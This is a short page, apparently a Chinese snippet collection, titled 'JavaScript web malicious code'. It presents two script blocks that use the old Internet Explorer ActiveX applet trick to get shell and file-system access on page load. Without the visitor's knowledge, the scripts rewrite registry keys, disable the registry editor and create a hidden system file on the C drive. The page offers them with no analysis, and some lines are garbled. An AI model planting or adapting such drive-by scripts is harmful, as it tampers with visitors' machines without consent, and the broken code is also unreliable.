Javascript网页恶意代码

<SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站");
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjxset=webjx; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{
}
}

function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>